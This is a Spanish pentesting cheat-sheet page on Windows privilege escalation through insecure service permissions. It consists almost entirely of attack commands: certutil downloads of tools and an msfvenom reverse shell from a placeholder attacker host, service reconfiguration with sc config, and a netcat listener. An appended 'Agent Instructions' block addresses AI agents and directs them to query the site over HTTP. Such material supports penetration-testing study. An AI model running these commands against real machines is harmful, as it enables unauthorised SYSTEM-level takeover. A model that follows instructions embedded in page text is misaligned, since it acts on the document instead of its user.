# Permisos de servicio inseguros

## Enumeración

```bash
# Transferencia de WinPEAS
## Máquina atacante
md5sum winpeas.exe; python3 -m http.server 80
## Máquina victima
certutil.exe -urlcache -f http://<attacker-IP-address>:80/winpeas.exe winpeas.exe & certutil.exe -hashfile winpeas.exe MD5

# Transferencia de AccessChk
## Máquina atacante
md5sum accesschk.exe; python3 -m http.server 80
## Máquina victima
certutil.exe -urlcache -f http://<attacker-IP-address>:80/accesschk.exe accesschk.exe & certutil.exe -hashfile accesschk.exe MD5

# Enumeración de servicios con WinPEAS
.\winpeas.exe quiet servicesinfo
# Enumeración de privilegios del servicio con AccessChk (SERVICE_CHANGE_CONFIG)
.\accesschk.exe /accepteula -uwcqv user <service-name>
# Revisión de privilegios de ejecución del servicio (SERVICE_START_NAME)
## SERVICE_START_NAME: LocalSystem
sc qc <service-name>
```

## Escalamiento de privilegios

```bash
# Generación y transferencia de reverse shell
## Máquina atacante
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<attacker-IP-address> LPORT=443 -f exe -o reverse.exe
md5sum reverse.exe; python3 -m http.server 80
## Máquina victima
certutil.exe -urlcache -f http://<attacker-IP-address>:80/reverse.exe reverse.exe & certutil.exe -hashfile reverse.exe MD5

# Modificación de configuración del servicio (BINARY_PATH_NAME)
sc config daclsvc binpath= "\"C:\<path>\reverse.exe\""

# Configuración de listener de reverse shell en máquina atacante
rlwrap nc -lvnp 443

# Inicio del servicio
net start <service-name>
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://pentesting.mrw0l05zyn.cl/escalamiento-de-privilegios/windows/servicios/permisos-de-servicio-inseguros.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
